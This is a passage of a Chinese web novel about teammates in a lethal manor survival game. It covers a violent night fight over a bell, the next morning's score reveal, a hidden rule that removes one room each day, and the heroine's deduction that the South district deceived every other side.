“玩家请注意,你们入住了凶宅!”
“只有最先摇响铃铛的人能够逢凶化吉!”
有两个人选了同一个屋子,令这个屋子变成了[凶屋],所以这里是“庚”房间?
沈墨棠不动声色,隔着灯火,和背心男对视了。
他错愕的脸上,立刻露出侥幸的轻笑,犹如在表示“抱歉”、“可怜”。
倒霉!
既然身处[凶屋],根据规则,只有率先摇铃铛的那个人能够“逢凶化吉”。
沈墨棠迅速打量屋子,突然反应过来——小小的屋内,只有自己和秃头男两名玩家。
两人的“随从”陶瓷娃娃不见了!
82. 巫凌海庄园9
“丙”屋。
广播炸雷般响起:
“玩家请注意,你们入住了凶宅!”
“只有最先摇响铃铛的人能够逢凶化吉!”
宋白河的视线从另一个玩家身上,抬向屋顶挂着的钟形铃铛。
谁先摇响铃铛,就能“逢凶化吉”获得分数。
与宋白河选了同个房间的,是西城的大块头。大块头上了年纪,可两米高的体格依旧充满压迫感,像一只巡视自己领地的巨兽。
“嘿!”
大块头反应很快,先一步跳起,甩开胳膊。即便动作略显笨拙,但是身高摆在那里,指尖差点就够到铃铛了!
不能让他抢先摇铃!
房间里没有陶瓷娃娃,玩家之间不受约束——预想中的“暴力对抗”果然出现了!
宋白河进游戏,就是为了防备这个。
他没有犹豫,下意识上前一步,用身体挤开对方的位置。
同处[凶屋]的两人是完完全全的竞争关系。
一人摇铃,另一个人就得扣分。
大块头被挤开,退了两步,怒目圆瞪:“喂!你够得到吗!啊?就推我?”
宋白河的身高192公分,比大块头矮半个脑袋,臂展也没有大块头长。如果连大块头都够不到铃铛,宋白河理应更加吃力。
可宋白河用实际行动回应了对方。
“——呵!”
他抬头看着铃铛,双腿曲蹲跳起,身体流畅伸展,同样是差一点点碰到铃铛!要是能准备得更充分一些,刚才这一下就能直接“逢凶化吉”了!
虽然身高臂展吃亏,但宋白河的弹跳力显然更胜一筹。
大块头明显也意识到这点,愣了半秒,眼见宋白河还要再跳,哪里还会给机会,直接用两只大手将宋白河推开!
“喂!挺会跳啊!”
于是铃铛底下的位置,又被大块头抢了回去。
宋白河踉跄两步。
对方明显直接动手,但没招来陶瓷娃娃,证明玩家在夜晚同处一室时,能够进行身体对抗。
沈墨棠的判断没错。
宋白河清楚自己就是为这而来的,当即靠上前,被大块头抬起胳膊拦住。
双方相互推搡着,谁也不再轻易让开,都明白一旦给对方全力跳跃的空间,铃铛就会落入其手。
“喂!喂!”
大块头粗着嗓子大吼:“小孩,让开!喂!喂!!”
干什么?
音波功击啊?
宋白河耳膜生疼,被喊得怔了一下,身体对抗稍微松懈。
大块头倒也不客气,两腿前后岔开,庞大的身躯直接撞过来!像篮球运动员在争抢篮板似的,用肩膀顶开宋白河!
两米高的壮实体格,动作又如此扎实。
宋白河只觉得自己像是被卡车撞飞,瞬间头重脚轻:“呃!”
视野边缘能看到,大块头抢占了房屋中间位置,正对屋顶起跳。
宋白河心中一急,咬牙撞了回去!
“呃啊!”
大块头被重重撞了腹部,失去平衡后退好几步,直到靠在墙上才站稳。疼痛和愤怒兼有,他立刻指着宋白河鼻子,喷了句:“我日你祖宗!”
宋白河的眼神变了。
看来,不彻底阻止对方的干扰,两人谁都没办法好好摇铃。
意识到这点,两人都从对方的眼神中,读出危险的信号。
这场游戏,注定不会“友好解决”的……
宋白河下意识摸了摸后腰,那里空荡荡的。
天黑前,他将在河田楼找到的那块“枪托”别在裤腰后,可现在它却不见了。不是在刚刚身体对抗的时候掉落,而是进房间后就没了。
看来玩家无法将白天找到的东西带进“十天干”房屋内。
本来还想拿它来当武器的……
“啊啊啊呀!”
大块头骤然发出野人一样的吼叫,声音在小屋子里回荡,惹人头皮发麻。
在这瞬间,大块头四十多岁的身体仿佛爆发出年轻时的冲劲,犹如一头巨熊,抬起两只大手猛扑过来!
壮如宋白河,也根本扛不住:“呃……!”
他被冲力推着后退,压到墙上,随后只感觉脖子被粗壮的大手狠狠掐住,难以呼吸!
身前,大块头手上用力,恐怖的嚎叫还在继续:“啊啊啊!啊?啊?你再搞啊?再搞一下试试啊?!”
宋白河没想到对抗突然如此剧烈,懵了的脸很快憋红,双目冒火。
“……!”
再不还手,就要死了!
宋白河挣扎起来,一手锤掉掐着脖子的胳膊,又迎着大块头的另一只手,反掐他的喉咙!
呼吸瞬间通畅,闷在胸口的气也爆了出来:“嗬——”
你先动的手,别怪我不客气了!
大块头似乎本以为占尽先机,没料到宋白河竟然还能如此反抗,反被掐着脖子后退两步,发现挣脱不开,便挥舞大胳膊去锤宋白河的脑袋。
啪!
宋白河被砸了一下,手上一松,被对方顺势挣脱开。
“……”
两人这时候都红了眼,身体对抗早已演变成原始的互殴!
大块头抬腿踢来,宋白河挡了一下,屈身前冲,钻进对方腹部将其顶开,推土机似的将失去平衡的大块头顶在墙上。
大块头的腹部被宋白河的肩膀和双手死死卡住,吃痛的同时想挣脱又无从下手,只能抡起胳膊,“砰”地重重肘击宋白河弓起的背部。
本以为这下能将宋白河砸开,但宋白河却依旧死死抓牢,两只手像是要嵌进大块头的胃里!
“砰!”、“砰!”、“砰!”
一下,一下,又一下,大块头脸上像是戴着痛苦面具,用尽全力猛击宋白河的背,但收效甚微。
“呃啊!!!”
他龇牙咧嘴,腹部疼得再也忍不住了,目光所及突然看到什么,开始拼命往旁边挪。
屋子里的多宝架上,有几个看起来顺手的瓷罐。
他想做什么?
宋白河顶着一口气,扛住了背上的肘击,发现抱着的人没再还击,而是突然间开始挪动,心中不由得起疑。
下一秒,他便意识到了危险,很快松开手,起身后退。
大块头趁势挣脱,抄起一个瓷罐——“我日你祖宗!!”
啪!
宋白河及时抬手格挡。
瓷罐重重砸在他胳膊上,碎落了一半。
见大块头又挥手袭来,宋白河本能往后退,却发现一道血注洒向空中,自己的胳膊已经被瓷片划了道口子!
见到血注,大块头也是一愣,看了眼手里捏着的尖锐瓷片。
他的嘶吼立刻变成更像是威胁的口吻:“啊?来啊?不怕死来啊!我弄死你!弄不死你你是我爹!”
“……”
宋白河呲着牙,查看了手臂的伤口,又瞥向大块头在身前晃着的瓷片。
现在,对方手持“锐器”,自己空着双手。
局势不一样了。
可是,自己不能拖后腿……要是就这样拱手让给对方摇铃,不仅自己要扣分,团队的总分也会扣……
沈墨棠说过,务必争取摇到铃铛!
宋白河脑中清晰地浮现出沈墨棠的面孔,厚重齐刘海下的清冷眼神,像电一样从他心上划过。
拼了!
永夜城的游戏,本就是生死相搏。
宋白河猛地前冲,双手一把抓住大块头拿着瓷片的手腕!
顺势转身,控制住这只手,用身体将大块头的身体和手隔开。
两边都咬着牙,谁也没说话。
大块头发现单手争不过双手,身前又是宋白河主动送上来的后背,直接用另一条胳膊扣住宋白河的脖子,将他往后拉。
“呃!”
宋白河专注最初的目标——先卸了对方手中的“锐器”,解决威胁最大的地方。
他没管脖子,双手牢牢钳住大块头拿瓷片的手腕,用大拇指扣进手腕的脉搏处!
“啊啊啊呀!”
大块头痛苦的低吼着,手指失去力气,被掰开,瓷片被夺了去。
大块头在“太虚”的意识形成,以及在北城区混迹多时的经验,让他对“生死搏斗”这件事颇有防备。他清楚武器被抢,要是再纠缠下去,恐怕要吃亏,当即猛地一把推开宋白河,拉开距离。
“喂!没完了是吧!啊?”
标志性的大吼
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紧随而至:“你们还想不想合作?妈的没完没了了?”
要开始沟通,讲道理了?
宋白河捏着瓷片,微微一怔,心里难受。
自己手臂流着血,本身就受了更重的伤,好不容易抢来锐器,本打算还以颜色,但对方突然又开始动起嘴来。
合作?
宋白河有些进退失据,不知道该怎么做。
就在这时,大块头突然又动身侧步,抓起多宝架上的一个瓷瓶丢来!
宋白河仓促反应,瓷瓶“咚”地砸在手臂上,碎了一地。再抬眼一看,对方已经又抄起一个瓷壶,当头砸来!
眼看那瓷瓶落在自己头顶,宋白河心中竟升起一抹轻松——好啊,就怕你谈合作。
既然不谈的话,那就别怪我动手了!
宋白河正憋着一肚子火,着急要把便宜找回来,实在是半点都不想谈和!
“——啪!”
瓷壶在宋白河脑袋上炸开!
宋白河的动作却没有丝毫迟缓,手中的瓷片没入大块头的腹部,随后是奋力一拉,扯开了一道粗糙的血口子!
“哧!”
“呃啊啊啊呀!”大块头的嘶吼变成呜嚎,表情扭曲。
他后退着,被腹部插入的瓷片顶着,被宋白河推着,趔趄地靠到身后的墙上。
“滋滋滋……”
鲜血冒了出来,白衬衣瞬间出现一片黑红,迅速扩大。
剧烈的痛楚令大块头几乎抽搐。
他猛地推开宋白河,高大的身躯却顺着墙壁,一点点瘫坐到地上,口中冒了个“我”字,然后就什么也说不出,只是低头看着汨汨淌血的腹部。
像是颗吹爆了的气球,失去所有力气。
“嗬……嗬……嗬……”
宋白河喘着气,站在屋子中央,低头看着大块头。
突然他感觉头皮麻麻的,抬手一摸,头发里全是血,沾在手指上。
这一下,他也有点双腿发软。
不行,不能放松,要乘胜追击,干死对方!
生存法则之一,永远不要在占据上风的时候,对敌人心软!
宋白河红着眼,手上太过用力,微微发抖,感觉都快把沾血的瓷片捏碎了。他往前一步,将瘫坐的大块头逼在墙角,逼在身下,大吼道:“来啊!打啊!”
只要大块头再有半分动作,就用手中的瓷片戳穿他的脖子!
但没有,大块头只是窝在那里,低着脑袋,用手捂着腹部的伤口。
宋白河没打算任对方装死,粗暴地推了下他的脑袋:“你不是想打吗!”
对方那张被揪着扬起的脸庞,苍老而惨白,眼神虚弱地垂着,不认输般盯着地面,像头斗败的犬,一点都没有反抗的意思。
宋白河喘了几下粗气,好几次将瓷片对准大块头的脖子,被他躲开了好几次。
大块头只是躲,没有还手;宋白河也只是对准,没有动手。
“别动!”
宋白河怒吼,就想逼着对方认输。
大块头仰起头,目光第一次迎上宋白河。
眼睛里变换着各种情绪,但只是咬牙不停喘气,一声不吭,分不清是愤怒还是求饶。
永夜城,生死游戏,每个人都在置对方于死地。
只是方式不同而已。
瓷片贴着脖子,微微陷进肉里,但没割破皮。
捏着瓷片的手抖得不停。
“……”
片刻,宋白河最终没动手,往后退开。
沉默的大块头刚松了口气,却看到宋白河拖来屋子另一侧的长椅,椅腿“嗒嗒嗒”在地上弹跳。
“喂!你……”
大块头下一秒就反应过来,长椅不是用来砸他的——宋白河将长椅放在屋子中间,踩上去。
“——叮铃铃。”
他成功拨到铃铛。
铃声清脆响起,铃铛随即凭空消失。
屋内响起广播声:“恭喜摇响铃铛的玩家逢凶化吉!其他玩家,您的惩罚将在天亮后降临!”
终于结束了……
宋白河跳下长椅,顺势坐着休息。
摸了摸头,一手血。
“嗬——”
他倒吸一口凉气。
83. 巫凌海庄园10
东城,【蓬莱】。
青三万捧着手机,窝在顶楼俱乐部的沙发上。
她一边浏览【青九万】的社交媒体,一边瞥了眼吧台。看到有人起身离开,叫了声:“八哥,你不看啦?”
“看啥子?”青八筒捋了捋一头金发,百无聊赖:“视角只有一个,还老是怼着那个大戏台子,夜里黑不隆咚的看啥子?”
青三万提了一嘴:“不知道他们第一晚有没有遇上其他人。”
“哪个晓得哦。”
青八筒顿了顿,叹了口气,再次哀叹自己没被选进四方战。
他说了声“走咯”,继续走到俱乐部门口,才回头问:“慕容,斯旺怕是有分析吧?”
青三万放下手机,认真想了想:
“斯旺他……是设计师没错啦,但他好像飞升后就从来没关心过游戏……”
*
夜里敲了四次梆子。
第一次是宋白河拨响铃铛后不久,坐在长椅上的休息的时候,窗外似乎有“邦、邦”声。
他以为是幻听,是脑袋被砸破的症状。
直到一阵子后,又有第二次梆子响,他才确定那是屋外的声音。
雨声已经没那么大,滴滴答答有节奏拍打大地,所以梆子声比第一次清晰。
“邦邦”、“邦邦”、“邦邦”……两声两声的。
脑袋没那么疼了,血像是凝固在头发里,没有新的血冒出来。
还好,应该没什么大碍,没有头晕,没有血流不止,没有感受到太多不适。
宋白河一直坐着休息,防备大块头有可能的报复。
大约又过了二十多分钟,窗外的雨声越来越小,几乎听不到。
梆子声第三次响起。
连续的“邦邦邦”、“邦邦邦”三连响,传得很远,听起来干净又空远。
大块头的状态很不好。
他像是要晕过去,面色发灰,嘴唇发白,一动不动坐靠在墙角,眼睛基本没睁开。
不知道对方死了没有,宋白河尝试过主动搭话,一开始没得到回应。
他上前拍了拍大块头的脸,大块头才微微抬了眼皮,什么也没说,虚弱地摇了下头。
大块头的腹部的伤口一直在渗血。
宋白河发现这点,心里有些慌,没犹豫太久,说了句“你还在流血,先止血”,便上手帮忙掀开大块头的衬衣。
腹部的横肉紧紧叠在一起,从缝隙里冒出一股股鲜血,大部分都被衣服和裤子吸收,还有一些淌到地上,跟不要钱的红颜料似的,触目惊心。
宋白河从来没想过,人原来能流这么多的血。
不知为何,脑子里冒出了“农夫与蛇”的故事,但很快被“毕竟是条人命”盖过去。
小屋子里没有医疗道具,想要止血,只能靠简单的衣物进行包扎。宋白河没具体处理过类似的伤情,只能根据父母的耳濡目染,以及平时家里杂七杂八的医疗工具书中看到的知识,上手尝试。
看得出,虽然大块头保持着那股“倔”劲,但确实是晕了,不能自理。
白衬衫已经彻底湿透,轻轻一拧就渗出血来。
大块头腰围实在太大,宋白河先是解下大块头戴着的“西城领带”,又脱下自己身上的“东城校服”,将它们接在一起,才够捆紧伤口。
暂时,只能这样处理了。
好不容易做完这些,宋白河气喘吁吁站起身,光着膀子,双手全是血。
如果这时有人看到他,可能会觉得他是个透着无辜眼神的变态杀人狂……
……
第四次梆子响,是“邦邦邦邦”的连续四声。
窗外彻底安静,梆子声显得更加响亮,敲得人心肝颤抖。
大块头不知道什么时候躺倒在角落,两米高的身体蜷曲着,瑟瑟发抖,冷得不行。
宋白河也没办法,自己也挨冻呢。
又过了一阵,窗外有了蒙蒙的光,房门外突然想起丁零当啷的开锁声,门板“咿呀”一声被推开。
陶瓷娃娃站在门口:“请玩家前往燕台集合。”
……
跟着陶瓷娃娃离开,经过穿花游廊,踏上湖上的曲桥。
天光亮起,暴雨已经停了,地上仍是湿漉漉的。巫凌海庄园内的空气清新,闻起来犹如沐浴后的发丝,散发着植物和土壤的香味。
其他几道曲桥上,也陆续出现人影,跟在各自的陶瓷娃娃身后。
大部分人都好好的,与昨日无异。
南城的老仙儿、兜帽男、短裤小姑娘、北城的司徒雅,秃头男,以及西城年纪最小的男人。
玩家们先后登上湖中岛,燕台上已经摆好12张圆凳,正如昨天那样。
每个见到宋白河的玩家,都会对他这副狼狈模样投来复杂的目光,有些像是幸灾乐祸,有些则是惴惴不安,生怕下一个夜晚自己也要经历这种“厮杀”。
接着出现的北城高挑连衣裙女人,还有西城的中年男人,都各自托着一条胳膊,面露苦色。
他们两遇上了?
紧接着,周彤也登上了燕台,一贯冷漠的脸,看见宋白河时露出些许错愕。
宋白河怎么被打成这个样子了?!
光着上身,鬓角出血,手臂出血,脖子上还有鲜红的掐痕,两只手掌也全都是血渍。
“你遇上谁了?”周彤坐到宋白河身旁。
宋白河瞥向燕台外,湖面的某道曲桥上,一个陶瓷娃娃正单肩扛着昏迷的大块头,往这边走来。
其他玩家也注意到这点,发出窸窸窣窣的讨论。
“嗯,他。”宋白河回答了周彤,语气沮丧中又隐约带点骄傲,神色里带着股“我没吃亏”的劲儿。
周彤“啧”了一声,却是投来不满的眼色:“没直接把他弄死?这么差劲?”
“啊?”宋白河小声解释:“小六姐,我摇到铃铛了!”
周彤毫不客气:“你受那么重的伤,接下来怎么办?”
“呃……”
“小九呢?”周彤仍是朝着湖面张望。
对啊,沈墨棠呢?
还没过来?
宋白河从刚才就一直等不到沈墨棠的身影,忧心忡忡。他一方面觉得沈墨棠肯定不会有事,一方面又害怕她像自己这样遇上别的玩家,爆发冲突。
毕竟她……在体力上完全不占优势。
连丧失行动能力的大块头都被“扛”来了……
沈墨棠不会真出什么事了吧?
正担心着,心心念念的身影已经出现在燕台下,从另一边的曲桥上的湖中岛。
“小……”周彤张嘴,话却停在嘴边。
宋白河也错愕地愣在原地,难以置信注视沈墨棠走上台——
她浑身脏兮兮的,左半张脸明显红肿,像是被人重重扇了一巴掌!
清冷的天光下,雷鸣暴雨之后。
沈墨棠顶着这张发肿的脸,面无表情坐到周彤让开的位置上,两侧分别是两名队友。
“……遇上哪个了?”
周彤
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的眼中猛地爆出愠色,目光仿佛两把利刃,扫过场上其他玩家,试图确定谁动的手。
沈墨棠没有回答,先看了眼周彤,又看向宋白河,上下打量了他一番,皱着眉头。
“小九?”
“小六姐,晚点说。”沈墨棠声音很小:“先看结果吧。”
……
12名玩家到齐,戏台山墙表面的血字,开始迅速变化:
【DAY2】
【00:00】
【子:1】【丑:1】【寅:0】【卯:1】【辰:1】【巳:1】【午:1】【未:2】【戌:1】【酉:2】【申:2】【亥:3】
字体变化的同时,戏台上的12个陶瓷娃娃也一齐发出机械音:
“请玩家原地稍作等待,不要随意走动。即将公布隐藏规则。”
隐藏规则?
终于要公布了?
12个玩家都乖乖坐在原地,包括西城失去知觉的大块头,也被他的陶瓷娃娃拎着坐在圆凳上。
大家都等待接下来会发生什么,同个阵营的队友低声议论着第一天的结果。
周彤和宋白河都看了看沈墨棠,发现她只是盯着山墙,没说话,于是两人也没有开口。
事实上,沈墨棠的左脸痛到几乎没知觉。
但她并不在意,微微眯起左眼:
第一天,大部分人都拿了1分,包括自己“午”和宋白河“辰”;有三个人得了两分,分别是“未”、“申”和小六姐“酉”;“亥”单独获得3分,目前全场最高;“寅”单独没得分,是全场最低分。
单纯从得分情况来判断,玩家还难以猜出自己[喜爱]和[憎恶]的角色。
需要先和队友确认信息。
沈墨棠微微侧头,靠近宋白河,像在查看他脖子的掐痕,嘴里吐了句:“别动。”
宋白河不明所以,只是立刻绷紧身体,感受落到脸颊的发丝,喉结蠕动嗓子发干。
沈墨棠低低耳语:“不要声张,告诉我你遇到了谁,你摇铃了没有。”
“呃,嗯。”宋白河侧过脸,小心没和她直接贴上,轻声回应:“我跟西城那个大块头一起,我摇了铃铛。”
沈墨棠拍了拍宋白河肩膀,表示知道了,便将脑袋移向另一边的周彤,留下怔怔的宋白河。
“小六姐,不要声张。”她同样低语:“你遇到人了吗?”
“遇到了。铃铛是我摇的。”周彤吸了口气,生气道:“小九,谁打的你?”
“别急。”沈墨棠不想当所有玩家的面,暴.露太多信息。
她又问:“你遇到谁了?”
“西城那男的,还有北城那女的,你没说要杀掉他们,我只卸了他们两的胳膊。”周彤在说“杀人”时,情绪并没有任何变化,仿佛只是在谈论今天晚饭有什么菜色。
虽然知道小六姐不好惹,但沈墨棠依旧本能地倒吸一口凉气。
“怎么了,小九?”
“没……”
小六姐的屋子有三个人!?
而且……这么巧,东城三人都进了“凶屋”!?
沈墨棠再次看向山墙,齐刘海掩护着目光,又扫过每一个玩家的脸庞,视线不放过每一丝反应。
“还真是……”她咬了下后槽牙,嘴角轻抬。
周彤感受到身边莫名有股危险的凉意:“小九?”
沈墨棠没有肿胀的右脸微微抽动,眼眸中冷光闪烁,放开声音:
“看来,我们都被南城耍了。”
84. 巫凌海庄园11
“被南城的耍咯?为啥子嘞?”
【蓬莱】的全智能桑拿汗蒸房内。
青八筒一下子站起来,顾不上腰间掉落的毛巾。
同处一室的斯旺闭着眼,但仍感觉到什么,低声喃喃的语调里透着一股死气:“为什么我非得跟一个不穿裤子的人一起蒸桑拿啊……”
“斯旺!”青八筒冲斯旺指向桑拿房内的显示屏,里面正在直播“燕台”上的游戏内容。
青八筒皮肤泛红,满身暴汗,一头金发湿漉漉的,塌了一半:“咋的被打得那么惨咯?你看到小九没?脸都被打肿了噻!小九跟谁一个屋头?让小六姐弄死那个龟孙子!”
斯旺抬起盖着眼睛的毛巾一角,瞥一眼屏幕,重又盖回脸上。
他淡淡开口:“我的贾老八哦,你看看分数不就知道是谁了?”
“分数?”
青八筒盯着电视机里,戏台山墙上的血红色文字,显示着每个角色的当前得分。
看来看去,看不出个所以然来:“分数咋的了?”
“唉……”
“说嘞!”
“从分数能看出昨晚有几个人被扣分。”斯旺张嘴微喘两口气,伸手对着感应器做了一个手势,调低了汗蒸房的温度。
青八筒胡乱捋了一下头发,烦躁地甩掉汗珠:“哎哟,咋看嘛!”
“你算算少了多少分?”
“少……啥子?”
“哎哟!”斯旺学了青八筒的语调,一把扯下盖眼的毛巾,坐了起来:“这游戏很好算啦……你想想啊,假设一天中,每个人都摇铃得分,总共会有多少分?”
“总共……”
“12个人,每个人都得分就是12分。”斯旺看着青八筒:“加上每个人因为[喜爱]的人得分,再12分。”
“24分?”
“对啊,”斯旺再一指电视:“你再看看现在场上总共多少分?”
“……”青八筒盯着画面,掰起手指头。
斯旺等了等,叹了口气:“总共16分。”
“噢噢,然后嘞?”
“少了8分啊!”
“噢!”青八筒思考片刻,恍然大悟:“有八个人被扣分!”
斯旺怔了怔,怒火攻心:“是四个!”
*
昨晚有四名玩家在[凶屋]的玩家,没能摇到铃铛。
沈墨棠和左右两个队友确认了信息,找出了四个被扣分的玩家。
自己、西城大块头、西城中年男、北城连衣裙女人。
也就是说南城的三人都进了[吉屋]。
真这么巧?
巫凌海庄园的清晨安安静静,没有疾风骤雨,也没有虫鸣鸟叫。
沈墨棠的声音不大,但足够燕台上的人听清楚:“看来,我们都被南城耍了。”
下一秒,南城的席炎忍不住还嘴:“哎哎哎!你说什么啊!”
语气透着无辜、错愕,理直气壮的,倒是让沈墨棠怀疑了一下自己的判断。
就一下。
“不是吗?”沈墨棠挑起眼角,哂然笑道:“你们不是跟我们所有人都做了交易吗?”
她清冷的目光扫过其他玩家。
“蛤?你说什么呢?”席炎顿觉荒唐,但立刻觉察到不只是东城,连北城、西城玩家的目光也都不对劲。
反应过来后,他难以置信地看向身旁的队友,老仙儿辛乙初。
这老头……该不会……
“我的天!原来是这样啊!”西城的中年男扶着胳膊,将咬牙切齿的目标从周彤转移到南城:“妈的,你们……”
正如沈墨棠猜测的那样。
南城的老仙儿,昨天在戏台后台,跟东城达成“单、双数”选房的约定后,又分别去找了西城和北城,也进行了相同的约定。
这样一来,只有南城会选“双数房”,避免了冲突。
而其他三个城区的9名玩家,会在“甲”、“丙”、“戊”、“庚”、“壬”五个单数房中相遇。
“你们也太狗了!”西城的中年男一边骂着,一边观察身旁半昏迷的大块头,忧心忡忡。
席炎看见两个队友的表情,随即也闭上嘴。
“哈哈哈!”
老仙儿倒是心情大好,开开心心抖着腿,眼睛炯炯有神,与每个投来的目光对视,笑道:“咱就说,游戏嘛!用点脑子是当然的咧!哈哈哈!咱也没想到,这一晚上,我南城有人就能轻轻松松拿了三分咧!”
坐在对面的司徒雅突然冷笑,嘴里蹦出一句:“是吗?”
“哦。”老仙儿眼神中闪过一抹异样,微微瞥了司徒雅一眼,随即移开视线缄口不语,神色讳莫如深。
沈墨棠紧紧盯着他,没放过这个反应。
没有玩家再开口,燕台突然又静了下来。
亭台飞檐的雨水汇集,径直滴落,在围栏上打碎,化作点点微粒洒落湖面。
“啊啊~啊啊啊~”
有人在哼曲,咿咿呀呀的戏曲,听不出到底是什么腔调,或者干脆就是瞎哼哼。
玩家们顺着声音,望向山墙右侧,“出将”幕口。
又出现了。
穿着黑白戏服的瘦长人影,戴着红色的螃蟹面具:“咳咳……各位玩家们,早上好呀!”
依旧是那副跳脱的口吻,令人一听就烦。
红蟹再一次现身。
沈墨棠眯了下眼睛。
如果是以小六姐的身手,是不是能在陶瓷娃娃采取行动前,揭开红蟹的真面目?
甚至,挟持红蟹?
但有没有可能,这副面具后面,只是一具空壳,是某种“赛博替身”?
那样的话,小六姐就会白白被陶瓷娃娃抹除。
不,得先设法确定这是红蟹本人才行。
沈墨棠犹豫的同时,红蟹已经自顾自说话:“不知道各位昨晚过得如何呢?是进了吉屋?凶屋?”
它依旧踩着蹩脚的戏步,却不像“昨天”那样穿过沈墨棠和宋白河之间,而是绕着玩家们身后的陶瓷娃娃,沿戏台边缘绕圈,一边唱戏般:“哈!哈!哈!怎么样?白天,和夜里,完全不一样吧?”
“唉,这里可是巫凌海庄园啊!”
“那么传奇的庄园,要是不多多探索,好不容易来一趟多可惜呀?对吧!哈哈哈!”
“希望你们都能活得久一点哦……”
螃蟹面具突然从两只陶瓷娃娃之间探出,像鸟一样歪着脑袋,打量了一圈玩家。
它走向戏台中央,犹如一个表演者,张开手转了一圈,向每个人示意,随后指向山墙:
“哈哈哈!第一天的情况,已经显示在这里咯!”
“之后每天早晨,你们都会被带到这里,看到每天的信息更新。”
“哦哦哦!今天比较特殊,会公布一条隐藏规则!”红蟹猛地一转身,夸张地指向沈墨棠,继续道:“这可是连东城都不知道的呢!”
东城提前看了游戏规则,但不知道隐藏规则。
沈墨棠面对着那张螃蟹面具,仿佛从那对小小的蟹眼里看到了什么。
下一秒,红蟹就又转圈,它身边的地面随之发光,出现十个小纸屋,标注着十天干。
“嗤!”
它突然飞起一脚,踩塌了最后一个“癸”纸房!
“现在公布隐藏规则:游戏中每过一天,可选择的房间将减少一个!”
减少房间?
玩家们的脸色迅速凝重。
本来有“甲”、“乙”、“丙”、“丁”、“戊”、“己”、“庚”、“辛”、“壬”、“癸”十个房间可以选择,现在没了“癸”,只剩下九个。
12个人,要在9个房间里选……碰上的几率变高了。
这只是第二天。
第三天,会剩下8个房间。
第四天剩7个;第五天剩6个;第六天剩5个。
最后的第七天,12名玩家要在4个房间
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中进行选择——基本不可能产生[吉屋]。
也就是说,游戏越往后,玩家夜里碰上的概率就越高,越容易出现肢体冲突,能够得分的玩家越少。
沈墨棠微微皱眉:四方战果然没那么简单。
“当当!很简单吧!”
红蟹抬腿,又踩了一下“癸”纸屋,然后再一下,再一下……面具发出的机械音毫无气口:“隐藏规则公布完毕!游戏继续!”
“——噗!”
白烟紧接着爆起,弥漫戏台,又迅速消散。
红蟹、纸屋,已经全都不见,犹如幻觉。
山墙的计时启动:
【00:01】
【00:02】
【00:03】
【00:04】
……
“走吧。”沈墨棠很快起身。
这时候,却听见老仙儿略带嘲讽的话语:“哎呀,女娃儿,今儿不合作啦?”
沈墨棠的脚步站定了。
宋白河、周彤两人的还停在圆凳上。
其他城区的玩家也都看着这边,想看沈墨棠对这句挑衅意味浓重的话,会作何反应。
第一秒,沈墨棠的双肩一松,像是叹了口气。
“南城。”她没有回身,只留下一道背影:“你们知道自己[喜爱]的人吗?”
老仙儿没有回话,目光逐渐凝重,眉头也渐渐贴近。两个队友在旁边看了看他,又看向沈墨棠。
“恭喜你们,没有人进[凶屋]呢。可惜,你们也没办法知道谁被扣分了吧?”沈墨棠的声音幽幽响起。
老仙儿的瞳孔陡然一扩——沈墨棠转头望着他,肿胀的半张左脸犹如邪鬼能面。
喉咙抽了抽,但吐不出半句话来。老仙儿张嘴,看了看左边,看了看右边,脸上早已没了笑意,像是被人打肿脸的不是沈墨棠,而是他自己。
其他几个玩家都不知道这个疯癫的大叔,为什么对沈墨棠的话这么大反应。
沈墨棠再次迈开腿,离开燕台。
宋白河和周彤立刻跟上。
这次没人出声,只有北城的秃头男莫名其妙咧开笑容,满嘴钢牙。
……
雨后庄园空气清新,清晨柔和的阳光经过天空折射落下,接住了每一刻坠落的水珠,擦亮每一片水洼中的倒影。
沈墨棠头也不回踩过曲桥,往岸上赶。
趁着天气晴朗,应该能加快探索庄园的速度。
“小九。”周彤从后面跟了上来,在湖边游廊与沈墨棠并排:“到底怎么回事?”
*
“咋回事?”青八筒揉乱的头发,像是顶着一个金黄色的鸟窝,“小九她说啥呢?”
汗蒸房的温度稍微下降,他的身体没那么红了,但光顾着看直播,仍是光着,一点都没有将毛巾围回腰间的意思。
斯旺没眼看,在沈墨棠三人离开燕台后,就又将毛巾盖上眼睛,嘴里说着:“这游戏,信息也是博弈的一环。”
“啥子信息哦?”
“喜欢的人和讨厌的人的信息。”斯旺换了口气,继续道:“你摇铃或者不摇铃,决定了自己加一分或者减一分。”
“这只占你每天得分的一半。”
“另一半来自你喜欢的人和讨厌的人。喜欢的人加分,你加分;讨厌的人扣分,你加分。”
“就是说你每天的得分会在-1到+3之间,自己摇铃占一半,受喜欢和讨厌的人影响占另一半。”
青八筒听得愣愣的:“哦,哦……哦?”
“看小九她们的样子,昨晚肯定是遇上人,所以能确定谁摇铃,谁没摇铃,再结合自己的得分,就能缩小找人的范围。有了这个信息,以小九的智商,应该能比南城更快确定自己[喜爱]和[憎恨]的人
。”
“哦,都是谁啊?”
“算了……”斯旺重重叹气:“我说,贾老八,我觉得老大没让你进四方战是对的……”
85. 巫凌海庄园12
沈墨棠昨晚没摇铃。
按理说,她应该被扣1分。
但山墙显示“午”的分数是“1”,她不止没被扣分,反而加分了。
这只能说明,第一晚,沈墨棠[喜爱]的角色加了分,且[厌恶]的角色扣了分,二者共同令沈墨棠的总得分变成“1”。
根据总体分数可以推断,昨晚一共有4名玩家扣分。
沈墨棠[厌恶]的角色,便锁定在除自己以外的剩下3名玩家中。
而由于昨晚产生的三间[凶屋]里都有东城的人,东城是目前场上唯一能够确定所有“扣分玩家”的阵营。
被扣分的四人分别是:沈墨棠、西城的大块头、西城的中年男、北城的连衣裙女人。
这样一来,沈墨棠就能确定,自己[厌恶]的人,是“大块头”、“中年男”、“连衣裙女人”其中之一!
“……好你个沈墨棠,你是故意让我们选[凶屋]的?”
周彤越听越觉得不对劲,身旁的沈墨棠像是一台未卜先知的超级计算机,仅凭着简单的信息,便能分析出利弊。
“不全是。”沈墨棠面无表情,没过一会儿,她又抬起头,竟然冲周彤挤出一个笑容。
老大说过,四方战是团队的游戏,社交游戏的核心:尽量和谐。
沈墨棠一直都记在心里,于是顶着一副核善的笑,生怕队友误会自己让她们去送,努力组织语言解释:“小六姐,我没有故意让你们选凶屋,只是猜到南城可能的做法,所以……将计就计。”
“原来。”周彤抽动嘴角:“别笑了。”
“嗯。”
沈墨棠收起了用力过猛的笑容。
跟小六姐相处,果然很轻松呢。
“那你不怕他们……”周彤又想到什么,抬手指向燕台的方向:“不怕他们三家联合,或者南城那老头又使什么阴招,把信息弄清楚吗?”
沈墨棠摇摇头:“他们弄不清楚。”
